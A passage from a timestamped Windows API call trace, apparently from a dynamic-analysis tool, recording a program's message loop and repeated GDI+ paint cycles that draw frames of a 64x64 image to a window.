lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0151.599] WaitMessage () returned 1 [0151.947] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0151.948] IsWindowUnicode (hWnd=0x2031e) returned 1 [0151.948] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0151.948] TranslateMessage (lpMsg=0x15e910) returned 0 [0151.948] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0151.948] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0151.948] GetCurrentThreadId () returned 0xec0 [0151.948] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0151.948] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0151.948] IsWindowUnicode (hWnd=0x2031e) returned 1 [0151.948] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0151.948] TranslateMessage (lpMsg=0x15e910) returned 0 [0151.948] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0151.948] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0151.948] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0151.949] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffffb20107cb [0151.949] SelectObject (hdc=0xffffffffb20107cb, h=0x1a05067e) returned 0x185000f [0151.949] GdipCreateFromHDC (hdc=0xffffffffb20107cb, graphics=0x15daf0) returned 0x0 [0151.949] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0151.949] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0151.949] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0151.949] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0151.949] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0151.949] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.949] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0151.950] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.950] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.950] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0151.950] GdipCreateRegion (region=0x15dc20) returned 0x0 [0151.950] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0151.950] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0151.951] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0151.951] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0151.951] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0151.951] GetSystemMetrics (nIndex=42) returned 0 [0151.951] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0151.951] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0151.951] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0151.951] CoTaskMemFree (pv=0x1e91eca0) [0151.951] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0151.951] GdipCreateRegion (region=0x15d710) returned 0x0 [0151.951] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0151.952] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0151.952] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0151.952] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0151.952] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.952] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0151.953] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.953] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0151.953] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0151.953] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0151.953] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0151.953] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.953] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0151.953] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0151.953] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0151.954] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0151.954] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.954] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0151.954] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0151.954] GetCurrentObject (hdc=0xffffffffb20107cb, type=0x1) returned 0x1b00017 [0151.954] GetCurrentObject (hdc=0xffffffffb20107cb, type=0x2) returned 0x1900010 [0151.954] GetCurrentObject (hdc=0xffffffffb20107cb, type=0x7) returned 0x1a05067e [0151.954] GetCurrentObject (hdc=0xffffffffb20107cb, type=0x6) returned 0x18a002e [0151.954] SaveDC (hdc=0xffffffffb20107cb) returned 1 [0151.954] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffffa0407c3 [0151.954] GetClipRgn (hdc=0xffffffffb20107cb, hrgn=0xfffffffffa0407c3) returned 0 [0151.955] SelectClipRgn (hdc=0xffffffffb20107cb, hrgn=0xffffffffca040b8a) returned 2 [0151.955] DeleteObject (ho=0xfffffffffa0407c3) returned 1 [0151.955] DeleteObject (ho=0xffffffffca040b8a) returned 1 [0151.955] OffsetViewportOrgEx (in: hdc=0xffffffffb20107cb, x=0, y=0, lppt=0x26fe310 | out: lppt=0x26fe310) returned 1 [0151.955] GetNearestColor (hdc=0xffffffffb20107cb, color=0xffffff) returned 0xffffff [0151.955] CreateSolidBrush (color=0xffffff) returned 0xffffffffd2100190 [0151.955] FillRect (hDC=0xffffffffb20107cb, lprc=0x15d7c0, hbr=0xffffffffd2100190) returned 1 [0151.955] DeleteObject (ho=0xffffffffd2100190) returned 1 [0151.955] RestoreDC (hdc=0xffffffffb20107cb, nSavedDC=-1) returned 1 [0151.955] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.955] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffffb20107cb) returned 0x0 [0151.955] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc420dbd) returned 0x0 [0151.955] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.956] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0151.956] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0151.956] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0151.956] GetSystemMetrics (nIndex=42) returned 0 [0151.956] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0151.956] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0151.956] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0151.956] CoTaskMemFree (pv=0x1e91eca0) [0151.956] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0151.956] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0151.956] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0151.956] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0151.956] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffffb20107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0151.957] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.957] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffffb20107cb) returned 0x0 [0151.957] SelectObject (hdc=0xffffffffb20107cb, h=0x185000f) returned 0x1a05067e [0151.957] DeleteDC (hdc=0xffffffffb20107cb) returned 1 [0151.957] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0151.957] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0151.957] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0151.957] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0151.957] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0151.957] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0151.957] WaitMessage () returned 1 [0152.140] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.140] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.140] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.140] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.140] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.140] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0152.140] GetCurrentThreadId () returned 0xec0 [0152.140] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0152.141] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.141] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.141] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.141] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.141] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.141] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0152.141] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0152.141] CreateCompatibleDC (hdc=0x3010b83) returned 0x41010b91 [0152.141] SelectObject (hdc=0x41010b91, h=0x1a05067e) returned 0x185000f [0152.141] GdipCreateFromHDC (hdc=0x41010b91, graphics=0x15daf0) returned 0x0 [0152.141] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0152.141] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0152.141] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0152.141] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0152.141] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0152.141] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.142] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0152.142] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.142] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.142] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0152.142] GdipCreateRegion (region=0x15dc20) returned 0x0 [0152.142] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0152.142] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0152.142] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0152.143] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.143] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.143] GetSystemMetrics (nIndex=42) returned 0 [0152.143] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.143] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.143] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.143] CoTaskMemFree (pv=0x1e91eca0) [0152.143] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0152.143] GdipCreateRegion (region=0x15d710) returned 0x0 [0152.143] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0152.143] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0152.143] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0152.143] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0152.143] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.143] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.144] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.144] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0152.144] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.144] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.144] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.144] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.144] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0152.145] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0152.145] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0152.145] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0152.145] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.145] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0152.145] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0152.145] GetCurrentObject (hdc=0x41010b91, type=0x1) returned 0x1b00017 [0152.145] GetCurrentObject (hdc=0x41010b91, type=0x2) returned 0x1900010 [0152.145] GetCurrentObject (hdc=0x41010b91, type=0x7) returned 0x1a05067e [0152.145] GetCurrentObject (hdc=0x41010b91, type=0x6) returned 0x18a002e [0152.145] SaveDC (hdc=0x41010b91) returned 1 [0152.145] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffcb040b8a [0152.145] GetClipRgn (hdc=0x41010b91, hrgn=0xffffffffcb040b8a) returned 0 [0152.145] SelectClipRgn (hdc=0x41010b91, hrgn=0xfffffffffb0407c3) returned 2 [0152.146] DeleteObject (ho=0xffffffffcb040b8a) returned 1 [0152.146] DeleteObject (ho=0xfffffffffb0407c3) returned 1 [0152.146] OffsetViewportOrgEx (in: hdc=0x41010b91, x=0, y=0, lppt=0x26fec48 | out: lppt=0x26fec48) returned 1 [0152.146] GetNearestColor (hdc=0x41010b91, color=0xffffff) returned 0xffffff [0152.146] CreateSolidBrush (color=0xffffff) returned 0xffffffffd3100190 [0152.146] FillRect (hDC=0x41010b91, lprc=0x15d7c0, hbr=0xffffffffd3100190) returned 1 [0152.146] DeleteObject (ho=0xffffffffd3100190) returned 1 [0152.146] RestoreDC (hdc=0x41010b91, nSavedDC=-1) returned 1 [0152.146] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.146] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x41010b91) returned 0x0 [0152.146] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc400dbd) returned 0x0 [0152.147] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.147] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0152.147] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.147] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.147] GetSystemMetrics (nIndex=42) returned 0 [0152.147] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.147] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.147] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.147] CoTaskMemFree (pv=0x1e91eca0) [0152.147] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0152.149] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0152.149] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0152.149] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0152.149] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0152.149] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x41010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0152.149] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.149] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x41010b91) returned 0x0 [0152.149] SelectObject (hdc=0x41010b91, h=0x185000f) returned 0x1a05067e [0152.149] DeleteDC (hdc=0x41010b91) returned 1 [0152.150] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.150] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0152.150] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0152.150] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0152.150] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.150] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.150] WaitMessage () returned 1 [0152.339] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.339] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.339] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.339] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.339] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.339] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0152.339] GetCurrentThreadId () returned 0xec0 [0152.339] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0152.339] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0152.339] IsWindowUnicode (hWnd=0x2031e) returned 1 [0152.339] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0152.339] TranslateMessage (lpMsg=0x15e910) returned 0 [0152.340] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0152.340] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0152.340] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0152.340] CreateCompatibleDC (hdc=0x3010b83) returned 0x42010b91 [0152.340] SelectObject (hdc=0x42010b91, h=0x1a05067e) returned 0x185000f [0152.340] GdipCreateFromHDC (hdc=0x42010b91, graphics=0x15daf0) returned 0x0 [0152.340] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0152.340] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0152.340] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0152.340] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0152.340] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0152.340] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.340] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0152.341] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.341] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.341] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0152.341] GdipCreateRegion (region=0x15dc20) returned 0x0 [0152.341] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0152.341] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0152.342] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0152.342] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.342] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.342] GetSystemMetrics (nIndex=42) returned 0 [0152.342] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.342] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.342] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.342] CoTaskMemFree (pv=0x1e91eca0) [0152.342] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0152.342] GdipCreateRegion (region=0x15d710) returned 0x0 [0152.342] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0152.342] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0152.342] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0152.342] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0152.342] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.342] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.343] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.343] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0152.343] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0152.343] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0152.344] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0152.344] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.344] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0152.344] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0152.344] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0152.344] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0152.344] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.344] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0152.344] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0152.344] GetCurrentObject (hdc=0x42010b91, type=0x1) returned 0x1b00017 [0152.344] GetCurrentObject (hdc=0x42010b91, type=0x2) returned 0x1900010 [0152.344] GetCurrentObject (hdc=0x42010b91, type=0x7) returned 0x1a05067e [0152.344] GetCurrentObject (hdc=0x42010b91, type=0x6) returned 0x18a002e [0152.345] SaveDC (hdc=0x42010b91) returned 1 [0152.345] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffffc0407c3 [0152.345] GetClipRgn (hdc=0x42010b91, hrgn=0xfffffffffc0407c3) returned 0 [0152.345] SelectClipRgn (hdc=0x42010b91, hrgn=0xffffffffcc040b8a) returned 2 [0152.345] DeleteObject (ho=0xfffffffffc0407c3) returned 1 [0152.345] DeleteObject (ho=0xffffffffcc040b8a) returned 1 [0152.345] OffsetViewportOrgEx (in: hdc=0x42010b91, x=0, y=0, lppt=0x26fff50 | out: lppt=0x26fff50) returned 1 [0152.345] GetNearestColor (hdc=0x42010b91, color=0xffffff) returned 0xffffff [0152.346] CreateSolidBrush (color=0xffffff) returned 0xffffffffd4100190 [0152.346] FillRect (hDC=0x42010b91, lprc=0x15d7c0, hbr=0xffffffffd4100190) returned 1 [0152.346] DeleteObject (ho=0xffffffffd4100190) returned 1 [0152.346] RestoreDC (hdc=0x42010b91, nSavedDC=-1) returned 1 [0152.346] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.346] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x42010b91) returned 0x0 [0152.346] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc3e0dbd) returned 0x0 [0152.346] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.346] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0152.346] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0152.346] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0152.346] GetSystemMetrics (nIndex=42) returned 0 [0152.346] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0152.347] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0152.347] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0152.347] CoTaskMemFree (pv=0x1e91eca0) [0152.347] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0152.347] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0152.347] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0152.347] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0152.347] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x42010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0152.347] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.347] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x42010b91) returned 0x0 [0152.348] SelectObject (hdc=0x42010b91, h=0x185000f) returned 0x1a05067e [0152.348] DeleteDC (hdc=0x42010b91) returned 1 [0152.348] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.348] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0152.348] SelectPalette 